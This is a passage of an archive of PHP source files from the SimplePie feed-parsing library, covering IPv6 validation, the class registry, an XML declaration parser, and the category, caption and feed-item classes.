* Checks if the given IP is a valid IPv6 address
*
* @param string $ip An IPv6 address
* @return bool true if $ip is a valid IPv6 address
*/
public static function check_ipv6(string $ip)
{
$ip = self::uncompress($ip);
[$ipv6, $ipv4] = self::split_v6_v4($ip);
$ipv6 = explode(':', $ipv6);
$ipv4 = explode('.', $ipv4);
if (count($ipv6) === 8 && count($ipv4) === 1 || count($ipv6) === 6 && count($ipv4) === 4) {
foreach ($ipv6 as $ipv6_part) {
// The section can't be empty
if ($ipv6_part === '') {
return false;
}
// Nor can it be over four characters
if (strlen($ipv6_part) > 4) {
return false;
}
// Remove leading zeros (this is safe because of the above)
$ipv6_part = ltrim($ipv6_part, '0');
if ($ipv6_part === '') {
$ipv6_part = '0';
}
// Check the value is valid
$value = hexdec($ipv6_part);
if ($value < 0 || $value > 0xFFFF) {
return false;
}
assert(is_int($value), 'For PHPStan: $value is only float when $ipv6_part > PHP_INT_MAX');
if (dechex($value) !== strtolower($ipv6_part)) {
return false;
}
}
if (count($ipv4) === 4) {
foreach ($ipv4 as $ipv4_part) {
$value = (int) $ipv4_part;
if ((string) $value !== $ipv4_part || $value < 0 || $value > 0xFF) {
return false;
}
}
}
return true;
}
return false;
}
/**
* Checks if the given IP is a valid IPv6 address
*
* @codeCoverageIgnore
* @deprecated Use {@see IPv6::check_ipv6()} instead
* @see check_ipv6
* @param string $ip An IPv6 address
* @return bool true if $ip is a valid IPv6 address
*/
public static function checkIPv6(string $ip)
{
return self::check_ipv6($ip);
}
}
class_alias('SimplePie\Net\IPv6', 'SimplePie_Net_IPv6');
src/Category.php 0000644 00000004650 15220516755 0007636 0 ustar 00 <?php
// SPDX-FileCopyrightText: 2004-2023 Ryan Parman, Sam Sneddon, Ryan McCue
// SPDX-License-Identifier: BSD-3-Clause
declare(strict_types=1);
namespace SimplePie;
/**
* Manages all category-related data
*
* Used by {@see \SimplePie\Item::get_category()} and {@see \SimplePie\Item::get_categories()}
*
* This class can be overloaded with {@see \SimplePie\SimplePie::set_category_class()}
*/
class Category
{
/**
* Category identifier
*
* @var string|null
* @see get_term
*/
public $term;
/**
* Categorization scheme identifier
*
* @var string|null
* @see get_scheme()
*/
public $scheme;
/**
* Human readable label
*
* @var string|null
* @see get_label()
*/
public $label;
/**
* Category type
*
* category for <category>
* subject for <dc:subject>
*
* @var string|null
* @see get_type()
*/
public $type;
/**
* Constructor, used to input the data
*
* @param string|null $term
* @param string|null $scheme
* @param string|null $label
* @param string|null $type
*/
public function __construct(?string $term = null, ?string $scheme = null, ?string $label = null, ?string $type = null)
{
$this->term = $term;
$this->scheme = $scheme;
$this->label = $label;
$this->type = $type;
}
/**
* String-ified version
*
* @return string
*/
public function __toString()
{
// There is no $this->data here
return md5(serialize($this));
}
/**
* Get the category identifier
*
* @return string|null
*/
public function get_term()
{
return $this->term;
}
/**
* Get the categorization scheme identifier
*
* @return string|null
*/
public function get_scheme()
{
return $this->scheme;
}
/**
* Get the human readable label
*
* @param bool $strict
* @return string|null
*/
public function get_label(bool $strict = false)
{
if ($this->label === null && $strict !== true) {
return $this->get_term();
}
return $this->label;
}
/**
* Get the category type
*
* @return string|null
*/
public function get_type()
{
return $this->type;
}
}
class_alias('SimplePie\Category', 'SimplePie_Category');
src/Registry.php 0000644 00000017330 15220516755 0007670 0 ustar 00 <?php
// SPDX-FileCopyrightText: 2004-2023 Ryan Parman, Sam Sneddon, Ryan McCue
// SPDX-License-Identifier: BSD-3-Clause
declare(strict_types=1);
namespace SimplePie;
use InvalidArgumentException;
use SimplePie\Content\Type\Sniffer;
use SimplePie\Parse\Date;
use SimplePie\XML\Declaration\Parser as DeclarationParser;
/**
* Handles creating objects and calling methods
*
* Access this via {@see \SimplePie\SimplePie::get_registry()}
*/
class Registry
{
/**
* Default class mapping
*
* Overriding classes *must* subclass these.
*
* @var array<class-string, class-string>
*/
protected $default = [
Cache::class => Cache::class,
Locator::class => Locator::class,
Parser::class => Parser::class,
File::class => File::class,
Sanitize::class => Sanitize::class,
Item::class => Item::class,
Author::class => Author::class,
Category::class => Category::class,
Enclosure::class => Enclosure::class,
Caption::class => Caption::class,
Copyright::class => Copyright::class,
Credit::class => Credit::class,
Rating::class => Rating::class,
Restriction::class => Restriction::class,
Sniffer::class => Sniffer::class,
Source::class => Source::class,
Misc::class => Misc::class,
DeclarationParser::class => DeclarationParser::class,
Date::class => Date::class,
];
/**
* Class mapping
*
* @see register()
* @var array<string, class-string>
*/
protected $classes = [];
/**
* Legacy classes
*
* @see register()
* @var array<class-string>
*/
protected $legacy = [];
/**
* Legacy types
*
* @see register()
* @var array<string, class-string>
*/
private $legacyTypes = [
'Cache' => Cache::class,
'Locator' => Locator::class,
'Parser' => Parser::class,
'File' => File::class,
'Sanitize' => Sanitize::class,
'Item' => Item::class,
'Author' => Author::class,
'Category' => Category::class,
'Enclosure' => Enclosure::class,
'Caption' => Caption::class,
'Copyright' => Copyright::class,
'Credit' => Credit::class,
'Rating' => Rating::class,
'Restriction' => Restriction::class,
'Content_Type_Sniffer' => Sniffer::class,
'Source' => Source::class,
'Misc' => Misc::class,
'XML_Declaration_Parser' => DeclarationParser::class,
'Parse_Date' => Date::class,
];
/**
* Constructor
*
* No-op
*/
public function __construct()
{
}
/**
* Register a class
*
* @param string $type See {@see $default} for names
* @param class-string $class Class name, must subclass the corresponding default
* @param bool $legacy Whether to enable legacy support for this class
* @return bool Successfulness
*/
public function register(string $type, $class, bool $legacy = false)
{
if (array_key_exists($type, $this->legacyTypes)) {
// trigger_error(sprintf('"%s"(): Using argument #1 ($type) with value "%s" is deprecated since SimplePie 1.8.0, use class-string "%s" instead.', __METHOD__, $type, $this->legacyTypes[$type]), \E_USER_DEPRECATED);
$type = $this->legacyTypes[$type];
}
if (!array_key_exists($type, $this->default)) {
return false;
}
if (!class_exists($class)) {
return false;
}
/** @var string */
$base_class = $this->default[$type];
if (!is_subclass_of($class, $base_class)) {
return false;
}
$this->classes[$type] = $class;
if ($legacy) {
$this->legacy[] = $class;
}
return true;
}
/**
* Get the class registered for a type
*
* Where possible, use {@see create()} or {@see call()} instead
*
* @template T
* @param class-string<T> $type
* @return class-string<T>|null
*/
public function get_class($type)
{
if (array_key_exists($type, $this->legacyTypes)) {
// trigger_error(sprintf('"%s"(): Using argument #1 ($type) with value "%s" is deprecated since SimplePie 1.8.0, use class-string "%s" instead.', __METHOD__, $type, $this->legacyTypes[$type]), \E_USER_DEPRECATED);
$type = $this->legacyTypes[$type];
}
if (!array_key_exists($type, $this->default)) {
return null;
}
// For PHPStan: values in $default should be subtypes of keys.
/** @var class-string<T> */
$class = $this->default[$type];
if (array_key_exists($type, $this->classes)) {
// For PHPStan: values in $classes should be subtypes of keys.
/** @var class-string<T> */
$class = $this->classes[$type];
}
return $class;
}
/**
* Create a new instance of a given type
*
* @template T class-string $type
* @param class-string<T> $type
* @param array<mixed> $parameters Parameters to pass to the constructor
* @return T Instance of class
*/
public function &create($type, array $parameters = [])
{
$class = $this->get_class($type);
if ($class === null) {
throw new InvalidArgumentException(sprintf(
'%s(): Argument #1 ($type) "%s" not found in class list.',
__METHOD__,
$type
), 1);
}
if (!method_exists($class, '__construct')) {
$instance = new $class();
} else {
$reflector = new \ReflectionClass($class);
// For PHPStan: $class is T.
/** @var T */
$instance = $reflector->newInstanceArgs($parameters);
}
if ($instance instanceof RegistryAware) {
$instance->set_registry($this);
} elseif (method_exists($instance, 'set_registry')) {
trigger_error(sprintf('Using the method "set_registry()" without implementing "%s" is deprecated since SimplePie 1.8.0, implement "%s" in "%s".', RegistryAware::class, RegistryAware::class, $class), \E_USER_DEPRECATED);
$instance->set_registry($this);
}
return $instance;
}
/**
* Call a static method for a type
*
* @param class-string $type
* @param string $method
* @param array<mixed> $parameters
* @return mixed
*/
public function &call($type, string $method, array $parameters = [])
{
$class = $this->get_class($type);
if ($class === null) {
throw new InvalidArgumentException(sprintf(
'%s(): Argument #1 ($type) "%s" not found in class list.',
__METHOD__,
$type
), 1);
}
if (in_array($class, $this->legacy)) {
switch ($type) {
case Cache::class:
// For backwards compatibility with old non-static
// Cache::create() methods in PHP < 8.0.
// No longer supported as of PHP 8.0.
if ($method === 'get_handler') {
// Fixing this PHPStan error breaks CacheTest::testDirectOverrideLegacy()
/** @phpstan-ignore argument.type */
$result = @call_user_func_array([$class, 'create'], $parameters);
return $result;
}
break;
}
}
$callable = [$class, $method];
assert(is_callable($callable), 'For PHPstan');
$result = call_user_func_array($callable, $parameters);
return $result;
}
}
class_alias('SimplePie\Registry', 'SimplePie_Registry');
src/XML/Declaration/Parser.php 0000644 00000017100 15220516755 0012174 0 ustar 00 <?php
// SPDX-FileCopyrightText: 2004-2023 Ryan Parman, Sam Sneddon, Ryan McCue
// SPDX-License-Identifier: BSD-3-Clause
declare(strict_types=1);
namespace SimplePie\XML\Declaration;
/**
* Parses the XML Declaration
*/
class Parser
{
/**
* XML Version
*
* @access public
* @var string
*/
public $version = '1.0';
/**
* Encoding
*
* @access public
* @var string
*/
public $encoding = 'UTF-8';
/**
* Standalone
*
* @access public
* @var bool
*/
public $standalone = false;
private const STATE_BEFORE_VERSION_NAME = 'before_version_name';
private const STATE_VERSION_NAME = 'version_name';
private const STATE_VERSION_EQUALS = 'version_equals';
private const STATE_VERSION_VALUE = 'version_value';
private const STATE_ENCODING_NAME = 'encoding_name';
private const STATE_EMIT = 'emit';
private const STATE_ENCODING_EQUALS = 'encoding_equals';
private const STATE_STANDALONE_NAME = 'standalone_name';
private const STATE_ENCODING_VALUE = 'encoding_value';
private const STATE_STANDALONE_EQUALS = 'standalone_equals';
private const STATE_STANDALONE_VALUE = 'standalone_value';
private const STATE_ERROR = false;
/**
* Current state of the state machine
*
* @access private
* @var self::STATE_*
*/
public $state = self::STATE_BEFORE_VERSION_NAME;
/**
* Input data
*
* @access private
* @var string
*/
public $data = '';
/**
* Input data length (to avoid calling strlen() everytime this is needed)
*
* @access private
* @var int
*/
public $data_length = 0;
/**
* Current position of the pointer
*
* @var int
* @access private
*/
public $position = 0;
/**
* Create an instance of the class with the input data
*
* @access public
* @param string $data Input data
*/
public function __construct(string $data)
{
$this->data = $data;
$this->data_length = strlen($this->data);
}
/**
* Parse the input data
*
* @access public
* @return bool true on success, false on failure
*/
public function parse(): bool
{
while ($this->state && $this->state !== self::STATE_EMIT && $this->has_data()) {
$state = $this->state;
$this->$state();
}
$this->data = '';
if ($this->state === self::STATE_EMIT) {
return true;
}
// Reset the parser state.
$this->version = '1.0';
$this->encoding = 'UTF-8';
$this->standalone = false;
return false;
}
/**
* Check whether there is data beyond the pointer
*
* @access private
* @return bool true if there is further data, false if not
*/
public function has_data(): bool
{
return (bool) ($this->position < $this->data_length);
}
/**
* Advance past any whitespace
*
* @return int Number of whitespace characters passed
*/
public function skip_whitespace()
{
$whitespace = strspn($this->data, "\x09\x0A\x0D\x20", $this->position);
$this->position += $whitespace;
return $whitespace;
}
/**
* Read value
*
* @return string|false
*/
public function get_value()
{
$quote = substr($this->data, $this->position, 1);
if ($quote === '"' || $quote === "'") {
$this->position++;
$len = strcspn($this->data, $quote, $this->position);
if ($this->has_data()) {
$value = substr($this->data, $this->position, $len);
$this->position += $len + 1;
return $value;
}
}
return false;
}
public function before_version_name(): void
{
if ($this->skip_whitespace()) {
$this->state = self::STATE_VERSION_NAME;
} else {
$this->state = self::STATE_ERROR;
}
}
public function version_name(): void
{
if (substr($this->data, $this->position, 7) === 'version') {
$this->position += 7;
$this->skip_whitespace();
$this->state = self::STATE_VERSION_EQUALS;
} else {
$this->state = self::STATE_ERROR;
}
}
public function version_equals(): void
{
if (substr($this->data, $this->position, 1) === '=') {
$this->position++;
$this->skip_whitespace();
$this->state = self::STATE_VERSION_VALUE;
} else {
$this->state = self::STATE_ERROR;
}
}
public function version_value(): void
{
if ($version = $this->get_value()) {
$this->version = $version;
$this->skip_whitespace();
if ($this->has_data()) {
$this->state = self::STATE_ENCODING_NAME;
} else {
$this->state = self::STATE_EMIT;
}
} else {
$this->state = self::STATE_ERROR;
}
}
public function encoding_name(): void
{
if (substr($this->data, $this->position, 8) === 'encoding') {
$this->position += 8;
$this->skip_whitespace();
$this->state = self::STATE_ENCODING_EQUALS;
} else {
$this->state = self::STATE_STANDALONE_NAME;
}
}
public function encoding_equals(): void
{
if (substr($this->data, $this->position, 1) === '=') {
$this->position++;
$this->skip_whitespace();
$this->state = self::STATE_ENCODING_VALUE;
} else {
$this->state = self::STATE_ERROR;
}
}
public function encoding_value(): void
{
if ($encoding = $this->get_value()) {
$this->encoding = $encoding;
$this->skip_whitespace();
if ($this->has_data()) {
$this->state = self::STATE_STANDALONE_NAME;
} else {
$this->state = self::STATE_EMIT;
}
} else {
$this->state = self::STATE_ERROR;
}
}
public function standalone_name(): void
{
if (substr($this->data, $this->position, 10) === 'standalone') {
$this->position += 10;
$this->skip_whitespace();
$this->state = self::STATE_STANDALONE_EQUALS;
} else {
$this->state = self::STATE_ERROR;
}
}
public function standalone_equals(): void
{
if (substr($this->data, $this->position, 1) === '=') {
$this->position++;
$this->skip_whitespace();
$this->state = self::STATE_STANDALONE_VALUE;
} else {
$this->state = self::STATE_ERROR;
}
}
public function standalone_value(): void
{
if ($standalone = $this->get_value()) {
switch ($standalone) {
case 'yes':
$this->standalone = true;
break;
case 'no':
$this->standalone = false;
break;
default:
$this->state = self::STATE_ERROR;
return;
}
$this->skip_whitespace();
if ($this->has_data()) {
$this->state = self::STATE_ERROR;
} else {
$this->state = self::STATE_EMIT;
}
} else {
$this->state = self::STATE_ERROR;
}
}
}
class_alias('SimplePie\XML\Declaration\Parser', 'SimplePie_XML_Declaration_Parser');
src/Caption.php 0000644 00000006033 15220516755 0007453 0 ustar 00 <?php
// SPDX-FileCopyrightText: 2004-2023 Ryan Parman, Sam Sneddon, Ryan McCue
// SPDX-License-Identifier: BSD-3-Clause
declare(strict_types=1);
namespace SimplePie;
/**
* Handles `<media:text>` captions as defined in Media RSS.
*
* Used by {@see \SimplePie\Enclosure::get_caption()} and {@see \SimplePie\Enclosure::get_captions()}
*
* This class can be overloaded with {@see \SimplePie\SimplePie::set_caption_class()}
*/
class Caption
{
/**
* Content type
*
* @var ?string
* @see get_type()
*/
public $type;
/**
* Language
*
* @var ?string
* @see get_language()
*/
public $lang;
/**
* Start time
*
* @var ?string
* @see get_starttime()
*/
public $startTime;
/**
* End time
*
* @var ?string
* @see get_endtime()
*/
public $endTime;
/**
* Caption text
*
* @var ?string
* @see get_text()
*/
public $text;
/**
* Constructor, used to input the data
*
* For documentation on all the parameters, see the corresponding
* properties and their accessors
*/
public function __construct(
?string $type = null,
?string $lang = null,
?string $startTime = null,
?string $endTime = null,
?string $text = null
) {
$this->type = $type;
$this->lang = $lang;
$this->startTime = $startTime;
$this->endTime = $endTime;
$this->text = $text;
}
/**
* String-ified version
*
* @return string
*/
public function __toString()
{
// There is no $this->data here
return md5(serialize($this));
}
/**
* Get the end time
*
* @return string|null Time in the format 'hh:mm:ss.SSS'
*/
public function get_endtime()
{
if ($this->endTime !== null) {
return $this->endTime;
}
return null;
}
/**
* Get the language
*
* @link http://tools.ietf.org/html/rfc3066
* @return string|null Language code as per RFC 3066
*/
public function get_language()
{
if ($this->lang !== null) {
return $this->lang;
}
return null;
}
/**
* Get the start time
*
* @return string|null Time in the format 'hh:mm:ss.SSS'
*/
public function get_starttime()
{
if ($this->startTime !== null) {
return $this->startTime;
}
return null;
}
/**
* Get the text of the caption
*
* @return string|null
*/
public function get_text()
{
if ($this->text !== null) {
return $this->text;
}
return null;
}
/**
* Get the content type (not MIME type)
*
* @return string|null Either 'text' or 'html'
*/
public function get_type()
{
if ($this->type !== null) {
return $this->type;
}
return null;
}
}
class_alias('SimplePie\Caption', 'SimplePie_Caption');
src/Item.php 0000644 00000401045 15220516755 0006756 0 ustar 00 <?php
// SPDX-FileCopyrightText: 2004-2023 Ryan Parman, Sam Sneddon, Ryan McCue
// SPDX-License-Identifier: BSD-3-Clause
declare(strict_types=1);
namespace SimplePie;
/**
* Manages all item-related data
*
* Used by {@see \SimplePie\SimplePie::get_item()} and {@see \SimplePie\SimplePie::get_items()}
*
* This class can be overloaded with {@see \SimplePie\SimplePie::set_item_class()}
*/
class Item implements RegistryAware
{
/**
* Parent feed
*
* @access private
* @var \SimplePie\SimplePie
*/
public $feed;
/**
* Raw data
*
* @access private
* @var array<string, mixed>
*/
public $data = [];
/**
* Registry object
*
* @see set_registry
* @var \SimplePie\Registry
*/
protected $registry;
/**
* @var Sanitize|null
*/
private $sanitize = null;
/**
* Create a new item object
*
* This is usually used by {@see \SimplePie\SimplePie::get_items} and
* {@see \SimplePie\SimplePie::get_item}. Avoid creating this manually.
*
* @param \SimplePie\SimplePie $feed Parent feed
* @param array<string, mixed> $data Raw data
*/
public function __construct(\SimplePie\SimplePie $feed, array $data)
{
$this->feed = $feed;
$this->data = $data;
}
/**
* Set the registry handler
*
* This is usually used by {@see \SimplePie\Registry::create}
*
* @since 1.3
* @param \SimplePie\Registry $registry
* @return void
*/
public function set_registry(\SimplePie\Registry $registry)
{
$this->registry = $registry;
}
/**
* Get a string representation of the item
*
* @return string
*/
public function __toString()
{
return md5(serialize($this->data));
}
/**
* Remove items that link back to this before destroying this object
*/
public function __destruct()
{
if (!gc_enabled()) {
unset($this->feed);
}
}
/**
* Get data for an item-level element
*
* This method allows you to get access to ANY element/attribute that is a
* sub-element of the item/entry tag.
*
* See {@see \SimplePie\SimplePie::get_feed_tags()} for a description of the return value
*
* @since 1.0
* @see http://simplepie.org/wiki/faq/supported_xml_namespaces
* @param string $namespace The URL of the XML namespace of the elements you're trying to access
* @param string $tag Tag name
* @return array<array<string, mixed>>|null
*/
public function get_item_tags(string $namespace, string $tag)
{
if (isset($this->data['child'][$namespace][$tag])) {
return $this->data['child'][$namespace][$tag];
}
return null;
}
/**
* Get base URL of the item itself.
* Returns `<xml:base>` or feed base URL.
* Similar to `Item::get_base()` but can safely be used during initialisation methods
* such as `Item::get_links()` (`Item::get_base()` and `Item::get_links()` call each-other)
* and is not affected by enclosures.
*
* @param array<string, mixed> $element
* @see get_base
*/
private function get_own_base(array $element = []): string
{
if (!empty($element['xml_base_explicit']) && isset($element['xml_base'])) {
return $element['xml_base'];
}
return $this->feed->get_base();
}
/**
* Get the base URL value.
* Uses `<xml:base>`, or item link, or enclosure link, or feed base URL.
*
* @param array<string, mixed> $element
* @return string
*/
public function get_base(array $element = [])
{
if (!empty($element['xml_base_explicit']) && isset($element['xml_base'])) {
return $element['xml_base'];
}
$link = $this->get_permalink();
if ($link != null) {
return $link;
}
return $this->feed->get_base($element);
}
/**
* Sanitize feed data
*
* @access private
* @see \SimplePie\SimplePie::sanitize()
* @param string $data Data to sanitize
* @param int-mask-of<SimplePie::CONSTRUCT_*> $type
* @param string $base Base URL to resolve URLs against
* @return string Sanitized data
*/
public function sanitize(string $data, int $type, string $base = '')
{
// This really returns string|false but changing encoding is uncommon and we are going to deprecate it, so let’s just lie to PHPStan in the interest of cleaner annotations.
return $this->feed->sanitize($data, $type, $base);
}
/**
* Get the parent feed
*
* Note: this may not work as you think for multifeeds!
*
* @link http://simplepie.org/faq/typical_multifeed_gotchas#missing_data_from_feed
* @since 1.0
* @return \SimplePie\SimplePie
*/
public function get_feed()
{
return $this->feed;
}
/**
* Get the unique identifier for the item
*
* This is usually used when writing code to check for new items in a feed.
*
* Uses `<atom:id>`, `<guid>`, `<dc:identifier>` or the `about` attribute
* for RDF. If none of these are supplied (or `$hash` is true), creates an
* MD5 hash based on the permalink, title and content.
*
* @since Beta 2
* @param bool $hash Should we force using a hash instead of the supplied ID?
* @param string|false $fn User-supplied function to generate an hash
* @return string|null
*/
public function get_id(bool $hash = false, $fn = 'md5')
{
if (!$hash) {
if ($return = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_10, 'id')) {
return $this->sanitize($return[0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
} elseif ($return = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_03, 'id')) {
return $this->sanitize($return[0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
} elseif ($return = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_RSS_20, 'guid')) {
return $this->sanitize($return[0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
} elseif ($return = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_DC_11, 'identifier')) {
return $this->sanitize($return[0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
} elseif ($return = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_DC_10, 'identifier')) {
return $this->sanitize($return[0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
} elseif (isset($this->data['attribs'][\SimplePie\SimplePie::NAMESPACE_RDF]['about'])) {
return $this->sanitize($this->data['attribs'][\SimplePie\SimplePie::NAMESPACE_RDF]['about'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
}
}
if ($fn === false) {
return null;
} elseif (!is_callable($fn)) {
trigger_error('User-supplied function $fn must be callable', E_USER_WARNING);
$fn = 'md5';
}
return call_user_func(
$fn,
$this->get_permalink().$this->get_title().$this->get_content()
);
}
/**
* Get the title of the item
*
* Uses `<atom:title>`, `<title>` or `<dc:title>`
*
* @since Beta 2 (previously called `get_item_title` since 0.8)
* @return string|null
*/
public function get_title()
{
if (!isset($this->data['title'])) {
if ($return = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_10, 'title')) {
$this->data['title'] = $this->sanitize($return[0]['data'], $this->registry->call(Misc::class, 'atom_10_construct_type', [$return[0]['attribs']]), $this->get_base($return[0]));
} elseif ($return = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_03, 'title')) {
$this->data['title'] = $this->sanitize($return[0]['data'], $this->registry->call(Misc::class, 'atom_03_construct_type', [$return[0]['attribs']]), $this->get_base($return[0]));
} elseif ($return = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_RSS_10, 'title')) {
$this->data['title'] = $this->sanitize($return[0]['data'], \SimplePie\SimplePie::CONSTRUCT_MAYBE_HTML, $this->get_base($return[0]));
} elseif ($return = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_RSS_090, 'title')) {
$this->data['title'] = $this->sanitize($return[0]['data'], \SimplePie\SimplePie::CONSTRUCT_MAYBE_HTML, $this->get_base($return[0]));
} elseif ($return = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_RSS_20, 'title')) {
$this->data['title'] = $this->sanitize($return[0]['data'], \SimplePie\SimplePie::CONSTRUCT_MAYBE_HTML, $this->get_base($return[0]));
} elseif ($return = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_DC_11, 'title')) {
$this->data['title'] = $this->sanitize($return[0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
} elseif ($return = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_DC_10, 'title')) {
$this->data['title'] = $this->sanitize($return[0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
} else {
$this->data['title'] = null;
}
}
return $this->data['title'];
}
/**
* Get the content for the item
*
* Prefers summaries over full content , but will return full content if a
* summary does not exist.
*
* To prefer full content instead, use {@see get_content}
*
* Uses `<atom:summary>`, `<description>`, `<dc:description>` or
* `<itunes:subtitle>`
*
* @since 0.8
* @param bool $description_only Should we avoid falling back to the content?
* @return string|null
*/
public function get_description(bool $description_only = false)
{
if (($tags = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_10, 'summary')) &&
($return = $this->sanitize($tags[0]['data'], $this->registry->call(Misc::class, 'atom_10_construct_type', [$tags[0]['attribs']]), $this->get_base($tags[0])))) {
return $return;
} elseif (($tags = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_03, 'summary')) &&
($return = $this->sanitize($tags[0]['data'], $this->registry->call(Misc::class, 'atom_03_construct_type', [$tags[0]['attribs']]), $this->get_base($tags[0])))) {
return $return;
} elseif (($tags = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_RSS_10, 'description')) &&
($return = $this->sanitize($tags[0]['data'], \SimplePie\SimplePie::CONSTRUCT_MAYBE_HTML, $this->get_base($tags[0])))) {
return $return;
} elseif (($tags = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_RSS_20, 'description')) &&
($return = $this->sanitize($tags[0]['data'], \SimplePie\SimplePie::CONSTRUCT_HTML, $this->get_base($tags[0])))) {
return $return;
} elseif (($tags = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_DC_11, 'description')) &&
($return = $this->sanitize($tags[0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT))) {
return $return;
} elseif (($tags = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_DC_10, 'description')) &&
($return = $this->sanitize($tags[0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT))) {
return $return;
} elseif (($tags = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_ITUNES, 'summary')) &&
($return = $this->sanitize($tags[0]['data'], \SimplePie\SimplePie::CONSTRUCT_HTML, $this->get_base($tags[0])))) {
return $return;
} elseif (($tags = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_ITUNES, 'subtitle')) &&
($return = $this->sanitize($tags[0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT))) {
return $return;
} elseif (($tags = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_RSS_090, 'description')) &&
($return = $this->sanitize($tags[0]['data'], \SimplePie\SimplePie::CONSTRUCT_HTML))) {
return $return;
} elseif (!$description_only) {
return $this->get_content(true);
}
return null;
}
/**
* Get the content for the item
*
* Prefers full content over summaries, but will return a summary if full
* content does not exist.
*
* To prefer summaries instead, use {@see get_description}
*
* Uses `<atom:content>` or `<content:encoded>` (RSS 1.0 Content Module)
*
* @since 1.0
* @param bool $content_only Should we avoid falling back to the description?
* @return string|null
*/
public function get_content(bool $content_only = false)
{
if (($tags = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_10, 'content')) &&
($return = $this->sanitize($tags[0]['data'], $this->registry->call(Misc::class, 'atom_10_content_construct_type', [$tags[0]['attribs']]), $this->get_base($tags[0])))) {
return $return;
} elseif (($tags = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_03, 'content')) &&
($return = $this->sanitize($tags[0]['data'], $this->registry->call(Misc::class, 'atom_03_construct_type', [$tags[0]['attribs']]), $this->get_base($tags[0])))) {
return $return;
} elseif (($tags = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_RSS_10_MODULES_CONTENT, 'encoded')) &&
($return = $this->sanitize($tags[0]['data'], \SimplePie\SimplePie::CONSTRUCT_HTML, $this->get_base($tags[0])))) {
return $return;
} elseif (!$content_only) {
return $this->get_description(true);
}
return null;
}
/**
* Get the media:thumbnail of the item
*
* Uses `<media:thumbnail>`
*
*
* @return array{url: string, height?: string, width?: string, time?: string}|null
*/
public function get_thumbnail()
{
if (!isset($this->data['thumbnail'])) {
if ($return = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_MEDIARSS, 'thumbnail')) {
$thumbnail = $return[0]['attribs'][''];
if (empty($thumbnail['url'])) {
$this->data['thumbnail'] = null;
} else {
$thumbnail['url'] = $this->sanitize($thumbnail['url'], \SimplePie\SimplePie::CONSTRUCT_IRI, $this->get_base($return[0]));
$this->data['thumbnail'] = $thumbnail;
}
} else {
$this->data['thumbnail'] = null;
}
}
return $this->data['thumbnail'];
}
/**
* Get a category for the item
*
* @since Beta 3 (previously called `get_categories()` since Beta 2)
* @param int $key The category that you want to return. Remember that arrays begin with 0, not 1
* @return \SimplePie\Category|null
*/
public function get_category(int $key = 0)
{
$categories = $this->get_categories();
if (isset($categories[$key])) {
return $categories[$key];
}
return null;
}
/**
* Get all categories for the item
*
* Uses `<atom:category>`, `<category>` or `<dc:subject>`
*
* @since Beta 3
* @return \SimplePie\Category[]|null List of {@see \SimplePie\Category} objects
*/
public function get_categories()
{
$categories = [];
$type = 'category';
foreach ((array) $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_10, $type) as $category) {
$term = null;
$scheme = null;
$label = null;
if (isset($category['attribs']['']['term'])) {
$term = $this->sanitize($category['attribs']['']['term'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
}
if (isset($category['attribs']['']['scheme'])) {
$scheme = $this->sanitize($category['attribs']['']['scheme'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
}
if (isset($category['attribs']['']['label'])) {
$label = $this->sanitize($category['attribs']['']['label'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
}
$categories[] = $this->registry->create(Category::class, [$term, $scheme, $label, $type]);
}
foreach ((array) $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_RSS_20, $type) as $category) {
// This is really the label, but keep this as the term also for BC.
// Label will also work on retrieving because that falls back to term.
$term = $this->sanitize($category['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
if (isset($category['attribs']['']['domain'])) {
$scheme = $this->sanitize($category['attribs']['']['domain'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
} else {
$scheme = null;
}
$categories[] = $this->registry->create(Category::class, [$term, $scheme, null, $type]);
}
$type = 'subject';
foreach ((array) $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_DC_11, $type) as $category) {
$categories[] = $this->registry->create(Category::class, [$this->sanitize($category['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT), null, null, $type]);
}
foreach ((array) $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_DC_10, $type) as $category) {
